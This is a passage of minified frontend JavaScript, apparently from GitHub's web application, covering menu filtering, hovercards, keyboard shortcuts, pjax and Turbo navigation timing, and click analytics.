e.textContent.toLowerCase().trim().startsWith(t)}s(wi,"prefix");function Ei(e,t){return e.hasAttribute("data-skip-substring-filter")||e.classList.contains("select-menu-no-results")?null:(e.querySelector("[data-filterable-item-text]")||e).textContent.toLowerCase().trim().includes(t)}s(Ei,"substring"),(0,c.on)("filterable:change","details-menu .select-menu-list",function(e){const t=e.currentTarget,n=t.querySelector(".js-new-item-form");n&&Li(t,n,e.detail.inputField.value)});function Li(e,t,n){const o=n.length>0&&!ji(e,n);if(e.classList.toggle("is-showing-new-item-form",o),!o)return;t.querySelector(".js-new-item-name").textContent=n;const r=t.querySelector(".js-new-item-value");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&(r.value=n)}s(Li,"toggleForm");function ji(e,t){for(const n of e.querySelectorAll("[data-menu-button-text]"))if(n.textContent.toLowerCase().trim()===t.toLowerCase())return!0;return!1}s(ji,"itemExists"),(0,u.N7)("tab-container .select-menu-list .filterable-empty, details-menu .select-menu-list .filterable-empty",{add(e){e.closest(".select-menu-list").classList.add("filterable-empty")},remove(e){e.closest(".select-menu-list").classList.remove("filterable-empty")}});const _o=navigator.userAgent.match(/Firefox\/(\d+)/);_o&&Number(_o[1])<76&&((0,u.N7)('details-menu label[tabindex][role^="menuitem"]',e=>{const t=e.querySelector("input");if(!t)return;const n=e.classList.contains("select-menu-item"),o=t.classList.contains("d-none"),r=n||o||t.hidden;n&&t.classList.add("d-block"),o&&t.classList.remove("d-none"),r&&(t.classList.add("sr-only"),t.hidden=!1),e.removeAttribute("tabindex")}),(0,c.on)("focus",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{const t=e.currentTarget.closest("label");t.classList.contains("select-menu-item")&&t.classList.add("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.add("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.add("hx_menuitem--focus"),e.currentTarget.addEventListener("blur",()=>{t.classList.contains("select-menu-item")&&t.classList.remove("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.remove("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.remove("hx_menuitem--focus")},{once:!0})},{capture:!0}),(0,j.w4)("keydown",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',async function(e){if(Po(e))e.currentTarget instanceof Element&&Si(e.currentTarget);else if(e.key==="Enter"){const t=e.currentTarget;e.preventDefault(),await(0,k.gJ)(),t instanceof HTMLInputElement&&t.click()}}),(0,c.on)("blur",'details-menu label input[role="menuitemradio"], details-menu label input[role="menuitemcheckbox"]',e=>{Io(e.currentTarget)},{capture:!0}),(0,j.w4)("keyup",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{!Po(e)||e.currentTarget instanceof Element&&Io(e.currentTarget)}));function Po(e){return e.key==="ArrowDown"||e.key==="ArrowUp"}s(Po,"isArrowKeys");function Si(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),e.setAttribute("role",t.getAttribute("data-role")),t.removeAttribute("role")}s(Si,"switchRoleToInputForNavigation");function Io(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),t.setAttribute("role",t.getAttribute("data-role")),e.removeAttribute("role")}s(Io,"switchRoleBackToOriginalState");var nn=f(11820);function Do(){document.firstElementChild.classList.contains("js-skip-scroll-target-into-view")||(0,nn.lA)(document)&&(0,nn.kc)(document)}s(Do,"scrollTargetIntoViewIfNeeded"),(0,Xt.Z)(Do),(0,c.on)("click",'a[href^="#"]',function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&setTimeout(Do,0)}),(0,c.on)("click",".js-flash-close",function(e){const t=e.currentTarget.closest(".flash-messages");e.currentTarget.closest(".flash").remove(),t&&!t.querySelector(".flash")&&t.remove()});const Ti=["flash-notice","flash-error","flash-message","flash-warn"];function Ai(e){for(const{key:t,value:n}of Ti.flatMap(Ve.$1)){(0,Ve.kT)(t);let o;try{o=atob(decodeURIComponent(n))}catch{continue}e.after(new lt.R(e,{className:t,message:o}))}}s(Ai,"displayFlash"),(0,u.N7)("template.js-flash-template",{constructor:HTMLTemplateElement,add(e){Ai(e)}});const on=new WeakMap;document.addEventListener("focus",function(e){const t=e.target;t instanceof Element&&!on.get(t)&&((0,c.f)(t,"focusin:delay"),on.set(t,!0))},{capture:!0}),document.addEventListener("blur",function(e){setTimeout(function(){const t=e.target;t instanceof Element&&t!==document.activeElement&&((0,c.f)(t,"focusout:delay"),on.delete(t))},200)},{capture:!0}),(0,C.AC)(".js-form-toggle-target",async function(e,t){try{await t.text()}catch{return}const n=e.closest(".js-form-toggle-container");n.querySelector(".js-form-toggle-target[hidden]").hidden=!1,e.hidden=!0});var Ci=f(99254);function ki(e){e instanceof CustomEvent&&(0,h.x)(`${e.detail} results found.`)}s(ki,"noticeHandler"),(0,u.N7)("fuzzy-list",{constructor:Ci.Z,subscribe:e=>(0,M.RB)(e,"fuzzy-list-sorted",ki)}),(0,c.on)("click",".email-hidden-toggle",function(e){const t=e.currentTarget.nextElementSibling;t instanceof HTMLElement&&(t.style.display="",t.classList.toggle("expanded"),e.preventDefault())});var ou=f(30479);(0,u.N7)(".js-hook-url-field",{constructor:HTMLInputElement,add(e){function t(){const n=e.form;if(!n)return;let o;try{o=new URL(e.value)}catch{}const r=n.querySelector(".js-invalid-url-notice");r instanceof HTMLElement&&(r.hidden=!!(e.value===""||o&&/^https?:/.test(o.protocol)));const i=n.querySelector(".js-insecure-url-notice");i instanceof HTMLElement&&o&&e.value&&(i.hidden=/^https:$/.test(o.protocol));const a=n.querySelector(".js-ssl-hook-fields");a instanceof HTMLElement&&(a.hidden=!(o&&o.protocol==="https:"))}s(t,"checkUrl"),(0,te.oq)(e,t),t()}});function Ho(e){const t=document.querySelectorAll(".js-hook-event-checkbox");for(const n of t)n.checked=n.matches(e)}s(Ho,"chooseEvents"),(0,c.on)("change",".js-hook-event-choice",function(e){const t=e.currentTarget,n=t.checked&&t.value==="custom",o=t.closest(".js-hook-events-field");if(o&&o.classList.toggle("is-custom",n),t.checked)if(n){const r=document.querySelector(".js-hook-wildcard-event");r.checked=!1}else t.value==="push"?Ho('[value="push"]'):t.value==="all"&&Ho(".js-hook-wildcard-event")}),(0,c.on)("click",".js-hook-deliveries-pagination-button",async function(e){const t=e.currentTarget;t.disabled=!0;const n=t.parentElement,o=t.getAttribute("data-url");n.before(await(0,pe.a)(document,o)),n.remove()}),(0,C.AC)(".js-redeliver-hook-form",async function(e,t){let n;try{n=await t.html()}catch{e.classList.add("failed");return}document.querySelector(".js-hook-deliveries-container").replaceWith(n.html)});var $e=f(11793);(0,u.N7)("[data-hotkey]",{constructor:HTMLElement,add(e){if((0,at.Ty)())(0,$e.N9)(e);else{const t=e.getAttribute("data-hotkey");if(t){const n=xi(t);n.length>0&&(e.setAttribute("data-hotkey",n),(0,$e.N9)(e))}}},remove(e){(0,$e.Tz)(e)}});function xi(e){return e.split(",").filter(n=>(0,at.YE)(n)).join(",")}s(xi,"filterOutCharacterKeyShortcuts");var rn=f(53692);let ne=document.querySelector(".js-hovercard-content");(0,u.N7)(".js-hovercard-content",e=>{ne=e});const Mi=(0,qe.Z)(pe.a);let Ce,mt=null,sn,an=0;const cn=12,ln=24,Oo=ln-7,No=16,qi=100,Ri=250;function Re(e){return"Popover-message--"+e}s(Re,"contentClass");function _i(e){setTimeout(()=>{if(document.body&&document.body.contains(e)){const t=e.querySelector("[data-hovercard-tracking]");if(t){const o=t.getAttribute("data-hovercard-tracking");o&&(0,_.q)("user-hovercard-load",JSON.parse(o))}const n=e.querySelector("[data-hydro-view]");n instanceof HTMLElement&&(0,rn.Fk)(n)}},500)}s(_i,"trackLoad");function Fe(){ne instanceof HTMLElement&&(ne.style.display="none",ne.children[0].innerHTML="",mt=null,Ce=null)}s(Fe,"hideCard");function Pi(e){const t=e.getClientRects();let n=t[0]||e.getBoundingClientRect()||{top:0,left:0,height:0,width:0};if(t.length>0){for(const o of t)if(o.leftan){n=o;break}}return n}s(Pi,"selectRectNearestMouse");function Ii(e){const{width:t,height:n}=ne.getBoundingClientRect(),{left:o,top:r,height:i,width:a}=Pi(e),l=r>n;if(e.classList.contains("js-hovercard-left")){const w=o-t-cn,S=r+i/2;return{containerTop:l?S-n+Oo+No/2:S-Oo-No/2,containerLeft:w,contentClassSuffix:l?"right-bottom":"right-top"}}else{const w=window.innerWidth-o>t,S=o+a/2,R=w?S-ln:S-t+ln;return{containerTop:l?r-n-cn:r+i+cn,containerLeft:R,contentClassSuffix:l?w?"bottom-left":"bottom-right":w?"top-left":"top-right"}}}s(Ii,"calculatePositions");function Di(e,t){if(!(ne instanceof HTMLElement))return;ne.style.visibility="hidden",ne.style.display="block",t.classList.remove(Re("bottom-left"),Re("bottom-right"),Re("right-top"),Re("right-bottom"),Re("top-left"),Re("top-right"));const{containerTop:n,containerLeft:o,contentClassSuffix:r}=Ii(e);t.classList.add(Re(r)),ne.style.top=`${n+window.pageYOffset}px`,ne.style.left=`${o+window.pageXOffset}px`,zi(e,ne),ne.style.visibility=""}s(Di,"positionCard");function Hi(e,t){if(!(ne instanceof HTMLElement))return;const n=ne.children[0];n.innerHTML="";const o=document.createElement("div");for(const r of e.children)o.appendChild(r.cloneNode(!0));n.appendChild(o),Di(t,n),_i(o),ne.style.display="block"}s(Hi,"showCard");function Oi(e){const t=e.closest("[data-hovercard-subject-tag]");if(t)return t.getAttribute("data-hovercard-subject-tag");const n=document.head&&document.head.querySelector('meta[name="hovercard-subject-tag"]');return n?n.getAttribute("content"):null}s(Oi,"determineEnclosingSubject");function Ni(e){const t=e.getAttribute("data-hovercard-url");if(t){const n=Oi(e);if(n){const o=new URL(t,window.location.origin),r=new URLSearchParams(o.search.slice(1));return r.append("subject",n),r.append("current_path",window.location.pathname+window.location.search),o.search=r.toString(),o.toString()}return t}return""}s(Ni,"hovercardUrlFromTarget");function Bi(e){const t=e.getAttribute("data-hovercard-type");return t==="pull_request"||t==="issue"?!!e.closest("[data-issue-and-pr-hovercards-enabled]"):t==="team"?!!e.closest("[data-team-hovercards-enabled]"):t==="repository"?!!e.closest("[data-repository-hovercards-enabled]"):t==="commit"?!!e.closest("[data-commit-hovercards-enabled]"):t==="project"?!!e.closest("[data-project-hovercards-enabled]"):t==="discussion"?!!e.closest("[data-discussion-hovercards-enabled]"):t==="acv_badge"?!!e.closest("[data-acv-badge-hovercards-enabled]"):t==="sponsors_listing"?!!e.closest("[data-sponsors-listing-hovercards-enabled]"):!0}s(Bi,"hovercardsAreEnabledForType");async function $i(e,t){if("ontouchstart"in document)return;const o=e.currentTarget;if(e instanceof MouseEvent&&(an=e.clientX),!(o instanceof Element)||Ce===o||o.closest(".js-hovercard-content")||!Bi(o))return;Fe(),Ce=o,mt=document.activeElement;const r=Ni(o);let i;try{const a=new Promise(l=>window.setTimeout(l,t,0));i=await Mi(document,r),await a}catch(a){const l=a.response;if(l&&l.status===404){const y="Hovercard is unavailable";o.setAttribute("aria-label",y),o.classList.add("tooltipped","tooltipped-ne")}else if(l&&l.status===410){const y=await l.clone().json();o.setAttribute("aria-label",y.message),o.classList.add("tooltipped","tooltipped-ne")}return}o===Ce&&(Hi(i,o),e instanceof KeyboardEvent&&ne instanceof HTMLElement&&ne.focus())}s($i,"activateFn");function Fi(e){$i(e,Ri)}s(Fi,"activateWithTimeoutFn");function un(e){if(!!Ce){if(e instanceof MouseEvent&&e.relatedTarget instanceof HTMLElement){const t=e.relatedTarget;if(t.closest(".js-hovercard-content")||t.closest("[data-hovercard-url]"))return}else e instanceof KeyboardEvent&&mt instanceof HTMLElement&&mt.focus();Fe()}}s(un,"deactivateFn");function Ui(e){const t=Ce;sn=window.setTimeout(()=>{Ce===t&&un(e)},qi)}s(Ui,"deactivateWithTimeoutFn");function Bo(e){if(e instanceof KeyboardEvent)switch(e.key){case"Escape":un(e)}}s(Bo,"keyupFn");function Wi(){sn&&clearTimeout(sn)}s(Wi,"cancelDeactivation"),ne&&((0,u.N7)("[data-hovercard-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Fi),(0,M.RB)(e,"mouseleave",Ui),(0,M.RB)(e,"keyup",Bo))}),(0,u.N7)("[data-hovercard-url]",{remove(e){Ce===e&&Fe()}}),(0,u.N7)(".js-hovercard-content",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Wi),(0,M.RB)(e,"mouseleave",un),(0,M.RB)(e,"keyup",Bo))}),(0,c.on)("menu:activated","details",Fe),window.addEventListener("turbo:load",Fe),window.addEventListener("statechange",Fe));function zi(e,t){const n=e.getAttribute("data-hovercard-z-index-override");n?t.style.zIndex=n:t.style.zIndex="100"}s(zi,"setZIndexOverride"),async function(){document.addEventListener("pjax:complete",()=>(0,_.Y)({pjax:"true"})),document.addEventListener("soft-nav:success",()=>(0,_.Y)({turbo:"true"})),await me.C,(0,_.Y)()}(),(0,c.on)("click","[data-octo-click]",function(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;const n=t.getAttribute("data-octo-click")||"",o={};if(t.hasAttribute("data-ga-click")){const i=t.getAttribute("data-ga-click").split(",");o.category=i[0].trim(),o.action=i[1].trim()}if(t.hasAttribute("data-octo-dimensions")){const r=t.getAttribute("data-octo-dimensions").split(",");for(const i of r){const[a,l]=i.split(/:(.+)/);a&&(o[a]=l||"")}}(0,_.q)(n,o)});var $o=f(84818);const{getItem:su}=(0,$o.Z)("localStorage");function Fo(e,t){var n,o}s(Fo,"debugPayload"),(0,c.on)("click","[data-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-hydro-click")||"",o=t.getAttribute("data-hydro-click-hmac")||"",r=t.getAttribute("data-hydro-client-context")||"";Fo("hydro-debug.click",n),(0,rn.$S)(n,o,r)}),(0,c.on)("click","[data-optimizely-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-optimizely-hydro-click")||"",o=t.getAttribute("data-optimizely-hydro-click-hmac")||"";Fo("hydro-debug.optimizely",n),(0,rn.$S)(n,o,"")}),(0,C.AC)(".js-immediate-updates",async function(e,t){let n;try{n=(await t.json()).json.updateContent}catch(o){o.response.json&&(n=o.response.json.updateContent)}if(n)for(const o in n){const r=n[o],i=document.querySelector(o);i instanceof HTMLElement&&(0,Me.Of)(i,r)}}),document.addEventListener("DOMContentLoaded",Ki);async function Ki(){if((0,U.c)("IMAGE_METRIC_TRACKING")===!1)return;const e=Array.from(document.querySelectorAll("img.js-img-time")).slice(0,5),t=Date.now(),n=[];await Promise.all(e.map(o=>Vi(o,t,n))),n.length>0&&(0,he.b)({transparentRedirectTimings:n})}s(Ki,"onDOMContentLoaded");async function Vi(e,t,n){const o=/\/assets\/storage\/user\/([0-9]+)\/files\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,r=/assets\/([0-9]+)\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,i=e.getAttribute("src");if(!i)return;const a=new URL(i,window.location.origin),l=o.test(a.pathname)?o:r,[,y,w]=a.pathname.match(l)||[];if(!y||!w)return;await fetch(`/assets/measure/${y}/${w}`);const R={duration:Date.now()-t,fileGUID:w,userID:y};n.push(R)}s(Vi,"measureRedirectTiming"),(0,u.N7)("[data-indeterminate]",{constructor:HTMLInputElement,initialize(e){e.indeterminate=!0}});var Xi=f(51244);function Gi(){f.e("app_assets_modules_github_jump-to_ts").then(f.bind(f,35653))}s(Gi,"load"),(0,u.N7)(".js-jump-to-field",{constructor:HTMLInputElement,add(e){e.addEventListener("focusin",Gi,{once:!0}),(0,Xi.Nc)(window.location.pathname)}});let dn=!1;async function Uo(){if(dn)return;dn=!0;const t={contexts:document.querySelector("meta[name=github-keyboard-shortcuts]").content},n=`/site/keyboard_shortcuts?${new URLSearchParams(t).toString()}`,o=await(0,Te.W)({content:(0,pe.a)(document,n),labelledBy:"keyboard-shortcuts-heading"});o.style.width="800px",o.addEventListener("dialog:remove",function(){dn=!1},{once:!0})}s(Uo,"showKeyboardShortcuts"),(0,c.on)("click",".js-keyboard-shortcuts",Uo),document.addEventListener("keydown",e=>{e instanceof KeyboardEvent&&(!(0,at.Zf)(e)||e.target instanceof Node&&(0,L.sw)(e.target)||(0,$e.EL)(e)==="Shift+?"&&Uo())}),(0,u.N7)(".js-modifier-key",{constructor:HTMLElement,add(e){if(/Macintosh/.test(navigator.userAgent)){let t=e.textContent;t&&(t=t.replace(/ctrl/,"\u2318"),t=t.replace(/alt/,"\u2325"),e.textContent=t)}}}),(0,u.N7)(".js-modifier-label-key",{add(e){var t;let n=(t=e.textContent)==null?void 0:t.replace(/ctrl/i,"Ctrl");!n||(/Macintosh/.test(navigator.userAgent)&&(n=n.replace(/ctrl/i,"Cmd"),n=n.replace(/alt/i,"Option")),e.textContent=n)}});function ht(e){const t=e.currentTarget;if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const n=parseInt(t.getAttribute("data-input-max-length")||"",10),o=parseInt(t.getAttribute("data-warning-length")||"",10)||5,i=t.value.replace(/(\r\n|\n|\r)/g,`\r +`);let a=n-i.length;if(a<=0){let S=i.substr(0,n);S.endsWith("\r")?(S=S.substr(0,n-1),a=1):a=0,t.value=S}const l=t.getAttribute("data-warning-text"),w=t.closest(".js-length-limited-input-container").querySelector(".js-length-limited-input-warning");a<=o?(w.textContent=l.replace(new RegExp("{{remaining}}","g"),`${a}`),w.classList.remove("d-none")):(w.textContent="",w.classList.add("d-none"))}s(ht,"displayLengthWarning"),(0,u.N7)(".js-length-limited-input",{add(e){e.addEventListener("input",ht),e.addEventListener("change",ht)},remove(e){e.removeEventListener("input",ht),e.removeEventListener("change",ht)}}),(0,c.on)("click",".js-member-search-filter",function(e){e.preventDefault();const t=e.currentTarget.getAttribute("data-filter"),o=e.currentTarget.closest("[data-filter-on]").getAttribute("data-filter-on"),r=document.querySelector(".js-member-filter-field"),i=r.value,a=new RegExp(`${o}:(?:[a-z]|_|((').*(')))+`),l=i.toString().trim().replace(a,"");r.value=`${l} ${t}`.replace(/\s\s/," ").trim(),r.focus(),(0,c.f)(r,"input")}),(0,c.on)("auto-check-success",".js-new-organization-name",function(e){const t=e.target,o=t.closest("dd").querySelector(".js-field-hint-name");!o||(o.textContent=t.value)}),(0,C.AC)(".js-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove()}),(0,c.on)("submit",".js-notice-dismiss-remote",async function(e){const t=e.currentTarget;e.preventDefault();let n;try{n=await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{(0,T.v)();return}n&&!n.ok?(0,T.v)():t.closest(".js-notice").remove()});function Zi(e){try{const t=e.getBoundingClientRect();if(t.height===0&&t.width===0||e.style.opacity==="0"||e.style.visibility==="hidden")return!1}catch{}return!0}s(Zi,"isVisible"),(0,c.on)("click",".js-github-dev-shortcut",function(e){e.preventDefault();for(const n of document.querySelectorAll("textarea.js-comment-field"))if(n.value&&Zi(n)&&!confirm("Are you sure you want to open github.dev?"))return;const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash,window.location.href=t.href}),(0,c.on)("click",".js-github-dev-new-tab-shortcut",function(e){const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash});function Ji(e,t,n){const o=new URL("",window.location.origin),r=t.pathname.split("/");o.pathname=r.slice(1,3).join("/"),o.hash=t.hash,n&&(o.search=`?q=${encodeURIComponent(n)}`);const a=new URLSearchParams(t.search).get("q");return a?o.search=`?q=${encodeURIComponent(a)}`:r.length>=6&&(r[3]==="blob"||r[3]==="tree")&&(o.pathname=t.pathname),o.host=e.host,o.protocol=e.protocol,o.port=e.port,o}s(Ji,"getBlackbirdURL"),(0,c.on)("click",".js-blackbird-shortcut",function(e){var t;const n=e.currentTarget,o=Ji(n,new URL(window.location.href,window.location.origin),(t=window.getSelection())==null?void 0:t.toString());n.href=o.href}),(0,c.on)("click",".js-permalink-shortcut",function(e){const t=e.currentTarget;try{(0,E.lO)(null,"",t.href+window.location.hash)}catch{window.location.href=t.href+window.location.hash}for(const n of document.querySelectorAll(".js-permalink-replaceable-link"))n instanceof HTMLAnchorElement&&(n.href=n.getAttribute("data-permalink-href"));e.preventDefault()}),(0,C.AC)(".js-permission-menu-form",async function(e,t){const n=e.querySelector(".js-permission-success"),o=e.querySelector(".js-permission-error");n.hidden=!0,o.hidden=!0,e.classList.add("is-loading");let r;try{r=await t.json()}catch{e.classList.remove("is-loading"),o.hidden=!1;return}e.classList.remove("is-loading"),n.hidden=!1;const i=e.closest(".js-org-repo");if(i){const a=r.json;i.classList.toggle("with-higher-access",a.members_with_higher_access)}}),async function(){await me.x;const e=document.querySelector(".js-pjax-loader-bar");if(!e)return;const t=e.firstElementChild;if(!(t instanceof HTMLElement))return;let n=0,o=null,r=null;function i(){a(0),e&&e.classList.add("is-loading"),o=window.setTimeout(l,0)}s(i,"initiateLoader");function a(w){t instanceof HTMLElement&&(w===0&&(r==null&&(r=getComputedStyle(t).transition),t.style.transition="none"),n=w,t.style.width=`${n}%`,w===0&&(t.clientWidth,t.style.transition=r||""))}s(a,"setWidth");function l(){n===0&&(n=12),a(Math.min(n+3,95)),o=window.setTimeout(l,500)}s(l,"increment");function y(){o&&clearTimeout(o),a(100),e&&e.classList.remove("is-loading")}s(y,"finishLoader"),document.addEventListener("pjax:start",i),document.addEventListener("pjax:end",y)}();let fn=null;const mn="last_pjax_request",pt="pjax_start",hn="pjax_end";function Qi(e){e instanceof CustomEvent&&e.detail&&e.detail.url&&(window.performance.mark(pt),fn=e.detail.url)}s(Qi,"markPjaxStart");async function Yi(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(pt).length)return;window.performance.mark(hn),window.performance.measure(mn,pt,hn);const t=window.performance.getEntriesByName(mn).pop(),n=t?t.duration:null;!n||(fn&&(0,he.b)({requestUrl:fn,pjaxDuration:Math.round(n)}),ea())}s(Yi,"trackPjaxTiming");function ea(){window.performance.clearMarks(pt),window.performance.clearMarks(hn),window.performance.clearMeasures(mn)}s(ea,"clearPjaxMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("pjax:start",Qi),document.addEventListener("pjax:end",Yi));let pn=null;const gn="last_turbo_request",gt="turbo_start",bn="turbo_end";function ta(e){var t;e instanceof CustomEvent&&(!((t=e.detail)==null?void 0:t.url)||(window.performance.mark(gt),pn=e.detail.url))}s(ta,"markTurboStart");async function na(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(gt).length)return;window.performance.mark(bn),window.performance.measure(gn,gt,bn);const t=window.performance.getEntriesByName(gn).pop(),n=t?t.duration:null;!n||(pn&&(0,he.b)({requestUrl:pn,turboDuration:Math.round(n)}),oa())}s(na,"trackTurboTiming");function oa(){window.performance.clearMarks(gt),window.performance.clearMarks(bn),window.performance.clearMeasures(gn)}s(oa,"clearTurboMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("turbo:before-fetch-request",ta),document.addEventListener("turbo:render",na));var iu=f(11724);function ra(e,t){const n=e.split("/",3).join("/"),o=t.split("/",3).join("/");return n===o}s(ra,"isSameRepo"),(0,c.on)("pjax:click","#js-repo-pjax-container a[href]",function(e){const t=e.currentTarget.pathname;ra(t,location.pathname)||e.preventDefault()}),(0,c.on)("pjax:click",".js-comment-body",function(e){const t=e.target;t instanceof HTMLAnchorElement&&t.pathname.split("/")[3]==="files"&&e.preventDefault()});var au=f(54293),Wo=f(53412);(0,U.c)("TURBO")?(async()=>(0,c.on)("click",".js-turbo-history-navigate",function(e){const t=e;if(!(t.currentTarget instanceof HTMLAnchorElement)||t.shiftKey||t.metaKey||t.ctrlKey||t.altKey)return;const n=(0,E._C)(),o=(0,E.Mw)();n&&t.currentTarget.href===n?(t.preventDefault(),zo(n),history.back()):o&&t.currentTarget.href===o&&(t.preventDefault(),zo(o),history.forward())}))():(0,c.on)("pjax:click",".js-pjax-history-navigate",function(e){e.currentTarget instanceof HTMLAnchorElement&&(e.currentTarget.href===(0,E._C)()?(history.back(),e.detail.relatedEvent.preventDefault(),e.preventDefault()):e.currentTarget.href===(0,E.Mw)()&&(history.forward(),e.detail.relatedEvent.preventDefault(),e.preventDefault()))});function zo(e){document.addEventListener("turbo:before-fetch-request",function(t){if(!(0,Wo.H)(t.target))return;const n=t.detail.url.href;e===n&&(t.preventDefault(),(0,Se.F2)())},{once:!0})}s(zo,"cancelNextTurboFrameFetchRequest");function Ko(e){return e.getAttribute("data-pjax-preserve-scroll")!=null?!1:0}s(Ko,"preserveScrollTo");function yn(e){let t=e;for(;t;){const n=t.getAttribute("data-pjax");if(n&&n!=="true")return document.querySelector(n);t=t.parentElement&&t.parentElement.closest("[data-pjax]")}return e.closest("[data-pjax-container]")}s(yn,"detectContainer"),(0,c.on)("click","[data-pjax] a, a[data-pjax]",function(e){const t=e.currentTarget;if(t instanceof HTMLAnchorElement){if(t.getAttribute("data-skip-pjax")!=null||t.getAttribute("data-remote")!=null)return;const n=yn(t);n&&sa(e,{container:n,scrollTo:Ko(t)})}}),(0,c.on)("change","select[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);n&&(0,W.ZP)({url:t.value,container:n})});function sa(e,t){if((0,U.c)("TURBO"))return;const n=e.currentTarget;if(e.button!==0||e.metaKey||e.ctrlKey||e.shiftKey||e.altKey||location.protocol!==n.protocol||location.hostname!==n.hostname||n.href.indexOf("#")>-1&&Vo(n)===Vo(location)||e.defaultPrevented)return;const o={url:n.href,target:n,...t},r=new CustomEvent("pjax:click",{bubbles:!0,cancelable:!0,detail:{options:o,relatedEvent:e}});n.dispatchEvent(r)&&((0,W.ZP)(o),e.preventDefault(),n.dispatchEvent(new CustomEvent("pjax:clicked",{bubbles:!0,cancelable:!0,detail:{options:o}})))}s(sa,"click");function Vo(e){return e.href.replace(/#.*/,"")}s(Vo,"stripHash"),(0,c.on)("submit","form[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);if(!n)return;const o=Ko(t),r={type:(t.method||"GET").toUpperCase(),url:t.action,target:t,scrollTo:o,container:n};if(r.type==="GET"){if(t.querySelector("input[type=file]"))return;const i=ia(r.url);i.search+=(i.search?"&":"")+(0,L.qC)(t),r.url=i.toString()}else r.data=new FormData(t);(0,W.ZP)(r),e.preventDefault()});function ia(e){const t=document.createElement("a");return t.href=e,t}s(ia,"parseURL"),(0,u.N7)("body.js-print-popup",()=>{window.print(),setTimeout(window.close,1e3)}),(0,u.N7)("poll-include-fragment[data-redirect-url]",function(e){const t=e.getAttribute("data-redirect-url");e.addEventListener("load",function(){window.location.href=t})}),(0,u.N7)("poll-include-fragment[data-reload]",function(e){e.addEventListener("load",function(){window.location.reload()})});var aa=f(97474),ca=f(92003);const la="$__",Xo=document.querySelector("meta[name=js-proxy-site-detection-payload]"),Go=document.querySelector("meta[name=expected-hostname]");if(Xo instanceof HTMLMetaElement&&Go instanceof HTMLMetaElement&&(0,aa.Z)(document)){const e={url:window.location.href,expectedHostname:Go.content,documentHostname:document.location.hostname,proxyPayload:Xo.content},t=new Error,n={};n[`${la}`]=btoa(JSON.stringify(e)),(0,ca.eK)(t,n)}(0,j.w4)("keydown",".js-quick-submit",function(e){ua(e)});function ua(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.key==="Enter"){const n=t.form,o=n.querySelector("input[type=submit], button[type=submit]");if(e.shiftKey){const r=n.querySelector(".js-quick-submit-alternative");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&!r.disabled&&(0,L.Bt)(n,r)}else(o instanceof HTMLInputElement||o instanceof HTMLButtonElement)&&o.disabled||(0,L.Bt)(n);e.preventDefault()}}s(ua,"quickSubmit");var Zo=f(55498);let bt;(0,u.N7)(".js-comment-quote-reply",function(e){var t;e.hidden=((t=e.closest(".js-quote-selection-container"))==null?void 0:t.querySelector(".js-inline-comment-form-container textarea, .js-new-comment-form textarea"))==null});function Jo(e){return e.nodeName==="DIV"&&e.classList.contains("highlight")}s(Jo,"isHighlightContainer");function da(e){return e.nodeName==="IMG"||e.firstChild!=null}s(da,"hasContent");const Qo={PRE(e){const t=e.parentElement;if(t&&Jo(t)){const n=t.className.match(/highlight-source-(\S+)/),o=n?n[1]:"",r=(e.textContent||"").replace(/\n+$/,"");e.textContent=`\`\`\`${o} +${r} +\`\`\``,e.append(` + +`)}return e},A(e){const t=e.textContent||"";return e.classList.contains("user-mention")||e.classList.contains("team-mention")||e.classList.contains("issue-link")&&/^#\d+$/.test(t)?t:e},IMG(e){const t=e.getAttribute("alt");return t&&e.classList.contains("emoji")?t:e},DIV(e){if(e.classList.contains("js-suggested-changes-blob"))e.remove();else if(e.classList.contains("blob-wrapper-embedded")){const t=e.parentElement,n=t.querySelector("a[href]"),o=document.createElement("p");o.textContent=n.href,t.replaceWith(o)}return e}};function fa(e){const t=document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT,{acceptNode(r){return r.nodeName in Qo&&da(r)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),n=[];let o=t.nextNode();for(;o;)o instanceof HTMLElement&&n.push(o),o=t.nextNode();n.reverse();for(const r of n)r.replaceWith(Qo[r.nodeName](r))}s(fa,"insertMarkdownSyntax"),(0,c.on)("click",".js-comment-quote-reply",function({isTrusted:e,currentTarget:t}){const n=t.closest(".js-comment"),o=n.querySelector(".js-comment-body"),r=n.querySelector(".js-comment-body").cloneNode(!0),i=n.closest(".js-quote-selection-container"),a=o.querySelectorAll("button.js-convert-to-issue-button, 